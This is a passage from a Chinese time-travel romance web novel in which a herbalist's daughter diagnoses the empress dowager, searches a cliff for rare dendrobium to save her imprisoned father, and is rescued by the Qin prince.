“奉家父之命,特意前来叨扰,只是为保障宫中用药的品质,还望掌柜的见谅”衣上云一边坐下来一边亦是客气的回道。她们就坐在紫袍男子旁边的另一桌上。

“应该的,药材已都如期准备妥当,衣小姐看看没问题的话在下就安排送入宫中了。”掌柜的说着,便有众多下人将药单上的药草都一一端上来放在客厅中央的长桌上面按照药单所列顺序排列好,等待衣上云过目。

验药,衣上云可是专业的。21世纪里集团所有中草药供应商品质她哪能不一清二楚呢。

她起身走向长桌,轻挽起袖子,经过一番望、闻、问、尝、查,衣上云认真的通过这些动作非常熟练迅速地就将药单上所有品目的药草全部都验收完毕。

别说旁人,就是燕儿也看的目瞪口呆,要知道长这么大,她从来没见过小姐还有这个本事啊。

“西秦第一大药行,果然名不虚传,掌柜的费心了”衣上云满意地说道。

此时紫袍男子朝着她走过来“姑娘好本事啊,在下可否请教姑娘药术从何学来”

掌柜的这时候才急急介绍道:“衣大小姐,这是我们百草堂正主,人称易三少”

“三少有礼了,承蒙三少谬赞,小女子不过雕虫小技难登大雅之堂,见笑了”衣上云微笑谦虚地回答道。

“人人听闻衣家大小姐软弱无才且丑陋,然百闻不如一见,小姐竟是如此让人刮目相看,可见这世人竟是以讹传讹,人云亦云,诋毁小姐了”易三少又道,竟是满腹夸词。

“清者自清,浊者自浊,三少又何必太在意外人的言行。今日小女已出门太久,怕家中长辈牵挂,先行回府了。改日再在登门请教”衣上云是已经出来太久了,确实有些累了。

“当然,我派人送小姐回府”说着正要让掌柜安排。

“三少,多谢,不必麻烦了,我们回去很方便,我也想在街上看看”衣上云自是不会轻易接受一个陌生人的安排,即便是好心的人。

易三少见状也不再为难她,就这样衣上云主仆走出了百草堂。

天色已暗下来,此时,街上的花灯都已经燃起,主仆俩似乎心情不错。衣上云兴奋地抬头看着一盏盏美轮美奂的古代花灯,真好看,她心里叹道,她自是从来都不曾见过这些玩意的......

忽然,从眼前花灯的间隙里闪过一个人影,是他......

衣上云急急寻着身影闪过的地方追了过去......

第七章:秦王府,白帕再现

从眼前花灯的间隙里闪过一个人影,因为花灯遮挡,衣上云只看到了他的侧脸,只是她不敢相信这个人的脸那么像一个人。这个人像极了失踪13年的魏明轩。竟然像魏明轩......

衣上云急急寻着身影闪过的地方追了过去,却是一片空巷。难道是自己太想念,所以幻觉了吗?

衣上云一脸狐疑得边玩弄着一缕青丝,一边回到燕儿的身边。

“小姐,你看到谁了”燕儿急急问道

“可能看错了吧,天黑了,我们赶快回去吧”说完主仆二人不再闲逛,急急回家了。

天刚黑,秦王府里已是一片灯火通明。

此时秦王轩辕翰刚回到府里,今日他和几位朝中大人在集市上茶聚,但并没有骑马或是乘车,而是步行。

“殿下,今日府上来了一对婆孙,说是儿子在北烈国战役中出征数年杳无音讯,儿媳去寻至今未归,她怕孙女受连累,便带着孙女逃到王府来告状”副将程良一见主子进门就紧跟在轩辕翰后面一边走一边禀着。

“为何不去府衙投案”

“怕官官相护,口口声声直说只相信秦王”

“带到大厅来问话”

“是”副将领命退下。

没过多久,程良便带着婆孙二人到了王府正殿,轩辕翰正低头端着一杯茶品了一口,整个人散发着不怒自威的冰冷,婆孙俩一见到秦王便立即下跪叩首。

“请秦王殿下为老身做主啊,老身冤枉,老身的儿子儿媳冤枉,老身的孙女冤枉啊”婆婆一边说一边哽咽着将事情的来龙去脉又陈述了一次。

“老人家,你暂且先住王府,待本王查清楚事实,自会还你一个公道”轩辕翰一脸严肃越发孤冷,这个北烈真是嚣张,这两年挑起战事连连,这些年他已经准备了很久了。

程良正要带二人下去安顿,轩辕翰突然目光一斜视捕捉到了小女孩的手腕上,系着一条白色丝帕,这丝帕的质地是那么眼熟。他正在记忆力搜索。

“慢着,等一下”轩辕翰站起身来朝着婆孙二人身边走过去,近身终于看清了白帕上竟也绣着和他那条一样清秀的“云”字样。

“这条白帕是你的吗“轩辕翰用稍微低点的声音问道,可是表情依然是冰冷的。明显温柔不是他的专长,尽管他已经放低了声音,小女孩依然连忙夺身藏到了老婆婆身后。

见状,婆婆回了轩辕翰的话“殿下,这个丝帕是今天老身中毒晕倒在来王府的街边,一位蒙面纱,身着黄色长裙,善良的年轻姑娘的。老身的小孙女不小心手腕擦破渗血,也幸得姑娘救治并给了我们婆孙银两盘缠,真的是难得的好人呢”婆婆边说又想起了自己这些不幸的遭遇,开始擦拭眼角的泪水。

蒙面纱,解毒,黄色长裙,难道今天在街上看到的女子亦是那夜山谷里的她?轩辕翰心里不由得浮出一丝欣喜继续问道

“老人家可知那姑娘叫什么吗?”

“好像......好像是......是叫做衣上云,对,名唤衣上云,说是城西药师府上的大小姐”老婆婆回道。

“衣上云”轩辕翰道了一句,若有所思。

“老人家,你暂且住王府,本王自会处理你的事情”轩辕翰说着就看向程良示意将其带下去安顿。

人都散去,轩辕翰这才走出正殿,穿过走廊向后面的寝宫走去。城西药师府大小姐,衣上云。原来这就是你的身份。本王知道了。想着想着,不自觉地嘴角上扬竟闪现出一道好看的弧度。

安顿好婆孙二人,程良端了碗粥来到了轩辕翰的寝宫。

秦王府很大,然而正主也就只有轩辕翰一个人,刚封王一年不到的时候,太妃就过世了。所以秦王至今也没有人为他婚事上心,宫里那位皇上璟帝轩辕烨是秦王的哥哥,倒是也跟秦王提过几次,但是秦王本就很忙,且有严重的洁癖,更不容女人亲近,后来两人都没有人坚持也就一拖再拖了。

秦王如今已是弱冠之年,太后也一直在留意合适的人选给他,预备今年一定要给秦王立妃,大家也都盼着秦王府能有个女主人,因为整个秦王府从上到下基本都是男人。秦王不近女色,就连府上的佣人也一概不用女人,只有一位之前服侍太妃的张嬷嬷一直留在府里伺候。

此刻轩辕翰正坐在桌前,面前摆放着一大堆的密函和信件。他的确很忙,有很多事需要他做,需要他准备,他是西秦的秦王,征战沙场、保家卫国、爱民如子。正因此皇帝时刻都不忘提防着秦王府,也因秦王的权高位重敢怒而不敢言,总要留三分薄面。

程良进去轻轻放下粥碗在桌上道“殿下伤势未愈,早些休息”

“婆孙的事尽快去调查清楚,还有...”轩辕翰冷声道,又顿了一下,继续说

“还有,查一下城西衣药师府上的衣大小姐”

“属下遵命”程良领命缓缓退出寝殿,轻轻掩上殿门才离去。

片刻后,轩辕翰伸出右手捏了捏眉头,露出了一丝疲惫,尽管如此那张精致如天工雕刻过的俊脸却依然,此时他一袭锦白长袍,三千墨发用玉簪高高挽起。

只见他缓缓从衣袖中掏出了一条白色丝帕发起呆来,显然丝帕已经清洗干净如新。他想起了那天夜晚在山谷中受伤所遇到的蒙面夜行衣少女,也想起了今日白天在街头看到的蒙面黄色长裙少女......

此时衣上云刚回到衣府,远远只见大厅里聚集着所有人

......

第八章:太后病重

“娘,怎么办啊,怎么办啊?”远远地就听到衣上雪惊慌失措的呐喊声。

那个骄傲的少爷衣上俊在厅里急急地踱步,走过来走过去,来来回回,心神不宁。

兰姨娘正坐在桌边,右手抵在桌上颔首捏着眉头,神气抑郁。

就连衣上云的母亲也坐在兰姨娘对面的位置上,母亲可很少跟这些人聚在一起的。这么晚了大家都聚在一起,发生了什么事呢?衣上云心里思索着,也急急朝着大厅走了过去

“母亲,兰姨娘”衣上云进入客厅欠身行礼,看无人回应她继续道。

“姨娘,您交代的事情云儿已经办妥,请姨娘安心”谁知兰姨娘仍旧不动声色,竟当做没听见一样。

衣上云眼睛转向母亲年氏问道“母亲,发生何时?”

听到衣上云这话,衣上雪急急恶狠狠的朝衣上云迈步过来,用几近歇斯底里的声音吼道“丧门星,你一醒就祸害衣家,衣家怎么这么倒霉。父亲入狱了,这下你满意了吧,真是倒了八辈子霉了,怎么衣府出了你这样的丧门星,你怎么不死呢”衣上雪恶狠狠地吼道,说完就哭了起来。

“母亲,到底怎么回事?父亲为何入狱”衣上云焦急而又惊讶的问。

“下午宫里来人通报,说你父亲给宫里采办的药草品质有误,致使太后恶疾所需的药方失效,现已被大理寺关押候审,怕是......怕是.....”母亲说着也抽噎了起来。

“怎么会呢,父亲一向清廉且行事心思缜密,采办的药品都是要先验过才送往宫里再次接受验收的,而且百草堂乃西秦国第一药行,怎会出现此等差错呢”衣上云严肃地说道

“母亲,姨娘。大家都不必太过担忧,明天女儿去探探情况”

“就你,还是不要出去丢人现眼的好。愚笨丑陋且一无是处还被退婚,一般女子就退婚一项早都死过多少回了,你倒像没事人一样遮个面纱整天招摇过市,还好意思赖活着,真不知道你哪儿来的这个勇气”衣上俊一点都不客气地说道。

“那弟弟可有主意能救父亲呢”衣上云却毫不示弱地用坚毅的目光看向衣上俊说。

“我......我.......”衣上俊那番饱含讥讽的话被堵了回来,噎住了。从上午收到消息至今,她们娘三个已经动用了所有人脉忙了一天,因是太后的安危,牵扯甚广,他们根本就是毫无机会。

“如果弟弟无能,那就只能让我这个姐姐试试了”衣上云凤眼看过去微笑着说道。

所有人都沉默着,只有母亲起身拉着衣上云的手露出满脸的担忧。

第二天天刚亮,衣上云借着兰姨娘的人脉入宫前往御药房了。

此时,轩辕翰正在宫里陪璟帝对弈。

“皇弟果然未让朕失望,北烈边关这场战役又胜了,西秦有你这样骁勇的秦王实属百姓之福啊,战神秦王,果然实至名归”御花园里璟帝一边落着棋子一边说道,语气里充满虚伪的赞赏满是多疑的心机。

“皇兄谬赞,为人臣子理应杀敌保国”秦王连忙作揖回应。

“皇弟又建奇功,这次想让朕如何赏赐你呢,一般的物件怕皇弟你自是不会放在眼里”璟帝狐疑地试探。

“为国尽忠,为皇兄分忧乃臣弟职责所在,臣弟岂敢邀功。皇兄仁慈,这些年对臣弟厚待不薄,臣弟不敢请赏”轩辕翰亦是敷衍客套地回答。

“赏罚分明,才会让文武百官人尽其则,各尽其能,皇弟又岂能推辞。不过,皇弟如今也就一人之下,寻常赏赐必定也不上心。如今你也早已过了弱冠之年,不如朕与太后给你谋一个称心如意的王妃如何?”

“皇兄做主便可”轩辕翰自是不敢拒绝,身在帝王家,儿女情长本来就不是他们自己所能支配的。至少现在不能,还不是时候。婚姻对于他,本就不是自己所要的,更何况他也不应该为儿女情长所牵绊,他有更重要的事情。

”好,那就说定了,过些时日便是中秋佳节时逢女儿乞巧,相信到时候一定不会让皇弟失望”璟帝暗自窃喜,他自是不会许给轩辕翰美好姻缘的。

“皇兄做主便可”轩辕翰说着依旧一脸专注地陪着对弈。

御药房在太医院最后面的院子里。此刻御药房里,衣上云乔装成药女扮相,对着药单已经查验了所有药草,并没有发现任何异样。药方也确实是对症的啊。

“知道太后得的什么病症吗”衣上云悄悄地问身旁的小药女,如果药都没有问题,那问题就很可能出在药方上。

“这种机密的事情我们这些小药女怎么能打听呢,嘘......”小药女急急示意衣上云不该问的不能问,她正要继续说话,进来了一位女医,一进门便道:

“太后的病情又加重了,都机灵谨慎点做事......“

话还没说完,紧跟着追过来一位年龄相仿的亦是女医打扮的女子,像是情况很紧急的样子。“快跟我走,太后昏迷了,皇上和秦王听闻都已经过去了”

“你赶快把太后的药端着赶快一起走,张大人在催呢”女子急急地说着,示意衣上云端药一起随行。

三人一番好赶,衣上云被带到永安宫太后的宫殿。

太后昏迷在榻上,院判张大人已经在诊脉,豆大的汗珠一粒粒渗了出来。皇上和秦王殿下就坐在距离榻边不远的桌边等着。

衣上云一行三人行礼,皇上伸手示意她们三人安静,三人便悄悄上前到张院判身后待命。

太后年迈体虚津气不足,此方无误啊,为何会久久不能痊愈,今日还突发昏迷呢?院判大人一脸狐疑百思不得其解。

“张院判,太后此次病来如山倒。你们太医院每日问诊请脉,怎会发生这等失职之事。前几天不是说药品采办有问题吗,如今又作何解释?”皇上龙颜大怒,厉声训斥道。

吓得太后旁边的侍女都扑通一声全都跪了下来。

“皇上,太后近来总说视力不如从前,食欲几乎全无,腰酸膝软且无力”永安宫的宫女惊慌失措地禀着。

“启禀皇上,秦王殿下。太后年迈体虚,处方也确实无误,至于为何会突然昏迷,微臣实在不解,微臣以性命担保定当全力以赴”张院判说这话的时候其实是心虚的,因为他根本还没有找到问题所出。

此时,张院判示意衣上云喂药,衣上云上前一点点喂药进去,顺便认真仔细地查看了一翻,气血不足,脉象虚弱,口舌干燥,再加上刚才宫女所说的情况......确实是津气不足之症,药方和药草都没有问题,那问题到底是什么呢?

衣上云眼睛一怔,突然好像明白了什么。

“皇上,奴婢知道了”衣上云立刻朝皇帝和秦王走过去俯首双膝跪下来道

“皇上,张院判的诊断没有错,只是药方里有味药草需要换一下”衣上云低着头继续禀告。

“皇上,药方里有味石斛,但因石斛种类有几十种繁多,且每种均有不同之药效,但品质却以铁皮石斛最为上乘,且药用价值和药效也自是最高。但因其生长条件极其苛刻,一般生于悬崖峭壁岩石缝隙间极其难得,所以宫内采办的均是中高级的石斛种类。太后此病又急且重,石斛药效明显不足。如果能找到铁皮石斛替代,太后定能痊愈”衣上云沉着而又坚定地说着,一点都没有紧张害怕。旁边的侍女们却都吓出一身汗,一个个露着惊讶的表情,心想怎么能如此大胆呢?

张院判听到这席话,恍然大悟。“对,对,说的没错,问题就在这里,老夫怎么没想到这个呢,确实如此。皇上,这个婢女说的一点没错”张院判点头投去赞许的目光,而此时衣上云还跪在地上不敢抬头。

“张院判,今日因为你的失职疏忽差点害死太后,你可知罪”皇上更怒了,坐在旁边的秦王殿下听声也不自觉抬眼瞥了一眼皇上说道。

“皇兄,母后病情为重,还是先救治母后比较重要”在场所有人都看出秦王是在帮他们说情开脱罪责。

“皇上,罪臣之女愿寻来极品铁皮石斛医治太后,替父亲将功赎罪,请皇上开恩。现在正值初秋季节,铁皮石斛虽全年均可采收,但初秋采摘的话,季节最为适宜,自然药效也是最佳。”衣上云突然发声,意志是多么的坚决。

“罪臣之女,你是?”皇帝皱起眉头问

“奴婢的父亲是御药房的药师,家父失职现关押大理寺,请皇上开恩,只要能救父亲,臣女愿意做任何事情”衣上云急急解释。

“既然你说极品铁皮石斛生长于悬崖峭壁之间,你一个弱女子又如何办到?”皇上满脸疑惑。秦王亦是猛地一怔,抬头看了衣上云一眼。

“皇上放心,为了父亲,就算是赴汤蹈火三天之内臣女一定办到”衣上云始终都是低头跪着回话。

“好,朕就给你三天,办不到就同你父亲一起,严惩不贷”

“臣女谢皇上开恩”衣上云叩身下去谢恩。

“平身吧”皇帝道。

衣上云这才起身抬起头来,刚一抬头却迎上了秦王轩辕翰冰冷的眼神,四目相对,衣上云匆匆收回了视线。轩辕翰随后也将寒光四射的眸光收了回来,只是看着蒙面纱的衣上云他刚才好像想起了什么......

第九章:城西衣府的怪事

轩辕翰心想,眼前这个蒙面女子和她怎么那么像,亦是如此坚定,聪慧,勇敢。亦是蒙纱遮面,亦是药师之女。

“都下去小心侍候着”

“是”众人禀退。

终于,皇上下令都散去。除了侍女,其他人也都散了。

小药女在御药房着实为衣上云捏了一把汗,等衣上云回来便急急将衣物扔给她换好拉起她穿过皇宫的走廊要送出宫去。

“我说小祖宗,你可吓死我了,真怕闹出什么事情来,这可是皇宫,你也真够大胆的,竟然敢在圣上面前信口开河,若是寻不回这极品铁皮石斛,看你怎么办?”

小药女边走边嘀咕着。竟没有意识到对面秦王轩辕翰和副将程良也正过来准备出宫回王府去。

衣上云已经换回自己一身粉紫色长裙,依旧白色遮面纱,整个人透着清瘦淡雅之气。小药女低头只顾自己嘀咕竟差点撞上秦王轩辕翰。

幸亏及时发现马靠边低头欠身行礼,身后的衣上云见状也跟着低头欠身行礼。

秦王自是到哪里都永远一如既往的一脸冰冷,不怒自威,尊贵天成。两人就这样擦肩而过。一个往东,一个往西。皇族和平民进出宫所走的路自是不同的。

然而,就在走过一段的时候,轩辕翰突然像想起了什么似得回头朝刚才两个女婢行礼的地方看了一眼,只是一眼,这个女子好像在哪里遇过。然而衣上云早已匆匆离开不在了。

有时候,可能一开始就已经悄悄地注定了结局,他们很多的擦肩而过......

已经深夜了,秦王府里,灯火通明。

轩辕翰正坐在寝殿的书桌旁手中执着一卷古书,忽然慢慢抬起那张冷俊的脸来若有所思又似带着一丝痴迷,眼睛渐渐眯了起来。

这时程良走了进来作揖行礼道“殿下,属下已查实城西确实有个衣府,家主正是这几天因太后恶疾事件被大理寺关起来的御药房药师衣上坤”轩辕翰视线迅速移向程良,示意他继续说下去。

“不过衣上坤的药材来源基本上都是西秦第一药草行百草堂所供,应该不会有问题,而且衣上坤一向行事谨慎”看秦王没有说话,程良迟疑了一会还是又继续禀告。

“衣上坤府上有两位夫人,两个女儿,一个儿子。嫡夫人所生嫡长女正是名唤衣上云”轩辕翰皱眉投来异样的目光。

“只是这衣上云,她......她.......”程良有点迟疑和顾及,吐了口浊气继续回禀,他是轩辕翰的得力副将及近身侍卫,办事自是要事无巨细,面面俱到。

“她被西秦学院陆少主退了婚,原因是她长相丑陋且不学无术,而且衣上云一年前生病昏迷,差不多前几日才刚醒过来的,退婚就发生在她昏迷的期间,后来有一天夜里却突然就醒了。有人还见到她醒的那夜狂风暴雨大作,甚至还有人看到衣府她的阁楼上空有异象出现”。

程良几乎一口气禀完,这等离奇的事,连他自己都不敢相信,更何况要说给他的主子听。

“什么异象”轩辕翰冷冷地问。

“附近有人看到当晚突然从天而降一道灼眼的光芒。即便是伸手不见五指漆黑的夜却依然能看到这光芒宛若一只七彩凤盘旋在夜空中昂首俯视寻觅,后来伸展开羽翼俯身坠入了衣府后院大小姐的阁楼,异象便都瞬间消失不见,就那时候衣家大小姐苏醒了”。

程良说完冒了一身冷汗,主子可是一直都忌讳这些鬼神之说的,今天是怎么了?

此时他方才小心翼翼抬起头看了一眼轩辕翰,轩辕翰却一直都一副冷漠的沉默着盯着手中的古籍,任谁都猜不透他此时在想什么。

片刻后,轩辕翰方才轻轻放下手中的古籍,看向程良说道。

“衣上云三日内要找到极品铁皮石斛,派暗卫在衣府时时保护,不要惊扰”

“是”程良作揖领命后退下。

轩辕翰觉得这个女人越来越有意思了,从来都没有哪个女人会让他如此好奇上心。

半夜三更一身夜行衣独自上山,高超的医术为不曾相识的他疗伤的是她;闹市街头一袭长裙装,为素不相识的老婆婆解毒救助的亦是她;天子面前临危不惧,字字铿锵信誓旦旦据理力争的还是她。

昏迷一年这么长的世间还能醒过来,这是要多顽强的求生欲望才能做到?丑陋吗?软弱吗?不学无术吗?怕是世间再也寻不到这样的女子了吧?这到底是个怎样的女子?

轩辕翰站在书房的窗前,一手负于身后,若有所思一脸好奇和兴趣。却冰冷地和这夜色融为一体,不知不觉竟然轻叹了一声,他在叹息什么呢?只有他自己才知道吧。

衣上云亦是也回到了衣府,跟母亲和兰姨娘将今日白天宫里发生的事从头禀了一遍。已是累的实在支撑不了了,出了大厅便急急穿过走廊回到后院的明月阁里。

一见到塌,整个身体就重重地扔了下去,四脚朝天地趴着。她实在支撑不起这个身体了,好像身形都要分离开来了一样。

她也实在不想动了,可是没多久还是想起了那三天之约,虽然这个家一点都让她感觉不到真实的温暖,这个父亲看起来也对她不闻不问根本不上心,但是毕竟他是她在这个时代唯一的依靠,唯一可以寄身的屋檐,他更是这个皮囊原主的父亲啊。她又怎么能不管。

终于她还是打起精神坐了起来。

极品铁皮石斛——千古一仙草,石斛有奇效。铁皮石斛、天山雪莲、三两的人参、百二十年的何首乌、花甲茯苓、苁蓉、深山灵芝、海底珍珠、冬虫夏草,列为九大仙草之最。要是在21世纪,她或许能通过自己的人脉轻而易举的寻到,而如今在这西秦国,她还谁都不认识呢,人脉,此时她真的很抓狂。

突然想到了芯片系统,不知道系统是否可以给她一些提示信息。一想到此,她立马盘腿坐于榻上,收心,屏气凝神集中全部精力于七彩*金丝彩玉镯子上。没过一会,衣上云的额头两鬓渗出了粒粒细而密集的香汗,手镯却纹丝不动,显然这是很耗费心神的事情。

”哼......“衣上云突然睁开眼睛狠狠的哼道,显然她还是没能开启这个庞大的系统。因为芯片系统功能太强大,各分支系统灌入和输出需要的时间都不可估计,升级需要的时间自是也短不了。她只能作罢。

算了,明天还是在京城碰碰运气吧。估计她现在连西秦国整个国家的大小范围边际都还搞不清楚呢吧。计划好了明天的行程,衣上云准备沐浴更衣休息了。

就在此时,衣府屋顶,飞奔过来约摸十几个身着夜行衣轻功极好的蒙面男子,他们一身矫健,身轻如燕。正聚集在一起,接着出现了一个没有蒙面的,这个人是......

第十章:活着,一切才有意义

没有蒙面貌似头领的这个男子正是秦王轩辕翰的副将程良。他正是奉主子秦王命令前来妥善安排埋伏保护衣上云的。.

“头儿,殿下为什么让我们保护一个区区药师家丑女呢?”其中一名暗卫问道。

“这是你该操心的吗,我还想知道为什么呢”他是真的好奇这个天生冷面不近女色的主子到底为什么会看上这样一个卑微的女子。

关键这个女子在所有人的口中,是如此的不堪。丑陋,废柴,妖孽,竟还被退婚.....

这些年那么多名门望族大家闺秀想要攀附可都被吃了闭门羹。

程良亲自迅速地将暗卫在衣府一一安排好,下令“开启全面保护模式”后方才离开回去秦王府复命。

天一亮,衣上云就在燕儿的陪同下赶往位于京城中心的百草堂。如今没有芯片系统的帮忙,她也只能去百草堂试试投石问路了。

“衣大小姐,幸会幸会,几日不见,今天什么风把您给吹来了,莫不是上次的药草有问题?”

衣上云一进百草堂的大门,薛掌柜的就笑脸迎了上来。一边说一边直接将衣上云带往三楼茶亭。其实自从上次她离开后,易君浩就特别交代了薛掌柜,以后对衣上云要特别照顾。

“薛掌柜的,您多虑了。百草堂的药草自是西秦无人能及的。怎会出什么乱子。实不相瞒,此次小女前来乃是有事请薛掌柜赐教的,还望薛大掌柜相助”

衣上云诚恳的说道,言语里满满希冀着能有所收获,不枉此行。

“大小姐此话生分了不是,令尊对百草堂照顾有加,若是在下能力所及,必是不能推辞,知无不言言无不尽的,只是不知道大小姐要问的是?”

薛掌柜一边说,一边亲自斟上了一杯热茶递给衣上云。衣上云优雅地接过看了看身边的燕儿,燕儿此时一脸迷茫不知所措,自是没有主意的。

衣上云只得回过神举杯致谢“多谢薛掌柜”。

只见她轻轻卸下面纱,举起紫砂杯先闻了闻,接着将杯中的茶汤分三小口喝下说道“当季刚采摘制作的铁观音,香气和味道平和极好,真是好茶汤。掌柜的好雅致”

衣上云微笑着说。

“大小姐年纪轻轻,竟然对品茗能有如此之境界,老夫实在是佩服至极”

薛掌柜赞道,好像甚是开心遇到了茶友,且是一个17岁的小女子,不禁满意地哈哈大笑起来,这时方才问道“不知大小姐找老夫所问何事?”

“薛掌柜,那就恕小女直言了,百草堂可有极品铁皮石斛?”衣上云凝神立刻严肃了起来问道。

“大小姐,极品铁皮石斛甚是珍贵,可并不好寻呢,市面上中高档的都不多见。怕是百草堂这次真让你失望了”薛掌柜严肃地回话。

“那薛掌柜可听闻过何处能寻得此药草”衣上云接着问,似想要抓住最后一丝希望,得到一点指示。

薛掌柜捋了捋那撮短小而且已有些花白了的胡须摇了摇头,思量了半天应声道“大小姐可听过百草谷?”

“听是听过,莫非百草谷有药?不过百草谷的天然毒障,生人定是有去无回的,而且谷主大人脾气怪异,怕是没那么容易求到药”衣上云露出一脸无奈和灰心的表情。

“大小姐,有志者事竟成,放眼西秦国全境,估计也只有百草谷尚存有一丝希望了”

薛掌柜一边说一边悄悄窥视了一眼衣上云的脸,易三少自是交代了他许多事情,就包含了现在这件。衣上云皱着眉头一筹莫展地沉默着。

“好吧,即是如此,那小女先行告辞了,多谢薛掌柜”衣上云起身和燕儿一道离开。

就在她们刚刚离开后,从隔壁厅里走出一紫袍墨发桃花眼的男子,没错,此人正是百草堂正主,百草谷谷主易三少。

刚才他就在隔壁听着这里发生的一切。等衣上云离开了才出现。

这丫头又遇到什么事了,极品铁皮石斛,易三少心里暗自琢磨着。

“小姐,现在怎么办呢,连西秦最大的百草堂都没有极品铁皮石斛,老爷和衣家还有救吗?”

刚一出了门,燕儿便问道。此时这主仆二人便像卸了气的气球,一个比一个焉。

“燕儿,相信我好吗?我一定可以找到,一定可以救大家”衣上云转身安慰燕儿道。

其实说是安慰燕儿,不如说是她给自己打气,安慰自己。燕儿使劲地瞪着眼睛点头回应她。

她一个人孤零零漂泊在21世纪,如今又孤零零来到这灵空西秦,她不知道这个爹娘为什么总是对她不冷不热,若即若离,根本就不是平常父母子女之间浓情。

但是,她还是要坚强地活下去啊。就像他在21世纪里尽管魏明轩消失了已经13年,他仍然相信也一直会相信他还活着。同理她也相信,她自己在西秦国,仍然能够活着,而且要活的很好。

如果在西秦国死了,可能会不会21世纪里的她也会灰飞烟灭呢?那他那13年,不就白等了吗?不,她一定要活着,活在西秦国,也许就是活在21世纪,只有活着,一切等待才有意义。

三天之约的第一天就这样过去了,她提醒自己说“看来希望只有寄予百草谷了。”

回到衣府里,竟然下起了大雨。可她已经没有多少时间了,等到天黑下来,衣上云依旧换上了一袭黑色夜行衣,白色蒙面巾就急急往百草谷山脚下赶。

时间一分一秒地过去,她三天的时间并没有多少可以浪费的。更何况现在她所有的希望都压在百草谷了,她都不敢想象如果那里仍然没有铁皮石斛会怎么样?一想到这,她便不由自主地更加快了脚步。

初秋的大雨,夜里打落在身上还是很冰冷的,她都完全顾不上自己的身体。

很快她便到了山脚,山崖脚下依旧是围绕着整个山谷的一条河,像是山谷自然的保护屏障,让人不敢靠近。因是大雨天,河水从山崖瀑布上坠入河中,较往常更加湍急了。

依旧是上次攀岩的这面峭壁,只是与上次不同的是这次她得到达这面向阳的峭壁对面半阴湿的峭壁岩石上去找,而且攀岩高度在1600米左右,这正是铁皮石斛喜阴,而不是喜阳的奇特生长环境。

“极品铁皮石斛,肯定会有的”她自言自语道。

雨水打在脸上,好冷,她不由得打了个寒颤。但是她迅速地深吸了一口气,仍旧很快锁定了一个可以最快到达山谷背面区域的地方抛出了攀岩的绳索固定好一步一步小心翼翼地攀岩了起来。

因为下着大雨,视线很差,攀岩环境极其恶劣,大雨冲刷着每一寸岩石,每一步都特别光滑,随时都会踩空跌落下来,而她还是抿嘴咬紧嘴唇一步一步攀着。大雨急急落在脸上她眼睛都睁不开来。

此时山脚下,正有两双眼睛一直目不转睛地盯着她。

秦王轩辕翰和副将程良,暗卫自从埋伏在衣府,一有风吹草动便马上随时随地报告给轩辕翰。当他收到消息,大雨夜衣上云着夜行衣前往百草谷。他便再也按耐不住那冷漠冰冷的秉性。带着程良一路追赶至此,就看到了眼前这一慕。

“这么大的雨,这个女人不要命了吗”程良生气地说。

他被衣上云的决心和毅力震到,大雨夜攀爬1600米高的岩石峭壁,还要在这种恶劣的环境下寻找神草。就算白天一个武功极高的男子做起来也很困难,更何况衣上云完全没有武功基础。

她的命难道就这么不值得珍惜吗?这到底是怎么样的一个女子。轩辕翰看着她高高爬上的身影有些入神地想着,她的身影是如此弱小。

“啊.....”.忽闻一声尖叫,他连忙缓过神看过去,衣上云的脚果然踩空,此时正拼命挥着两只胳膊四脚朝天落下来。

轩辕翰见状脚一点地,立马飞身而出,像是本能一般直奔衣上云落下的方向而去,伸开双臂,稳稳地接住了她。

两人四目相对,怀中的人儿神情恍惚,一脸娇弱。都身着黑色夜行衣戴着蒙面巾在空中旋转划出一道完美的圆圈后顺势轻轻落地。

刚落地,衣上云便晕在他怀中,脸颊通红,轩辕翰伸出一双安全感十足的大手朝她额头摸去。

“程良,备马回府”轩辕翰疾声令道。

两匹马,一个女人,两个男人。一匹马上一个男人紧紧拥着怀中的女子,用披风将她紧紧裹在怀中护着策马奔弛,身影渐渐越来越小,终于消失在这雨夜之中......

此时,山谷脚下另一头,正有另一双眼睛将这一切收于眼底......

第十一章:雨夜,沸腾的秦王府

此时,山谷的另一头,亦是有另一双眼睛将这眼前发生的一切收于眼底......

此人正是神农百草谷谷主易君浩,漆黑的雨夜他依旧三千墨发以一银色发冠半束着,鬓边垂着两缕洋洋洒洒的青丝,精致的脸廓上一对妖艳的桃花眼甚显迷人,身着一袭宽大斗篷连帽黑袍负手而立。

即使是在这样的雨夜,也尽显一脸的随性和恣意,他正皱着眉头望着这三人离去的方向。

自从白天在百草堂听到了衣上云与薛掌柜的谈话,他便知道以衣上云的脾性肯定会再来百草谷,他早就已经在这等着了。

只是这雨越下越大,他本是那会儿要打算回去了,却没想到她真的来了,在这样恶劣的天气登山。

“丫头到底出什么事了”易君浩眉头紧锁轻声说道。

“三少,衣姑娘已经走了,我们也回去吧”

身旁一袭深紫色披风的女仆为他撑着一把竹条骨架油纸伞,担心地说道,易君浩显然没听到她的声音,继续着他的思绪。

方才就晚了一步,他差点就冲了出去。没想到竟然会出现另外两个人先他而出,这两个人又是谁呢?看这气质和武功甚是不凡。

“总归,还好丫头没事。”他眯着那对桃花眼终于自言自语道,女仆见他一动不动又提高了些声音开口道。

“三少,雨越下越大了,衣姑娘已经走了,我们回去吧”

易君浩这才缓过神来看着她对着微笑了一下,主仆二人便转身匆匆离开了。

秦王府里。

“程良,传太医”轩辕翰一到门口就急急命令,只顾抱着衣上云直奔他的寝殿而去。程良大步跑向太医所。

听闻殿下亲自带回个女子,秦王府上下立刻一片沸腾起来,一传十十传百。

“听说殿下亲自抱了个姑娘从王府正门进来”

“去去去,你知道什么,那姑娘可是与殿下共骑一马回来的”

“咱们殿下不是从来都不近女色吗?”

“殿下不是有很严重的洁癖吗”

“咱们向来孤冷的主子转性了?”

“秦王府要有女主子了?”

“如果秦王府有女主子了,我们是不是也很快就要脱单了呢?”

......

仆人们都聚集在一起七嘴八舌着,这会儿说什么的都有,人人都以为秦王能看入眼的定是个美若天仙倾国倾城的美人儿。

而此时衣上云被轩辕翰又一次抱到了他的床榻上,衣上云眼睛紧闭昏迷着,轩辕翰正坐在榻边露出一脸焦虑地守着。

“殿下,姑娘只是被雨水打湿又吹了风,得了风寒,身上的擦伤也都是轻微的皮肉伤,不必太担忧”。

太医一番详细的把脉查看后禀告了轩辕翰方才退了出去备汤药,而轩辕翰依旧一副冷面没有回应他,只顾着一双眼睛紧紧盯着衣上云的一举一动。

半天后终于出声道“叫张嬷嬷过来给她伤口擦药,换身干净的衣服”。

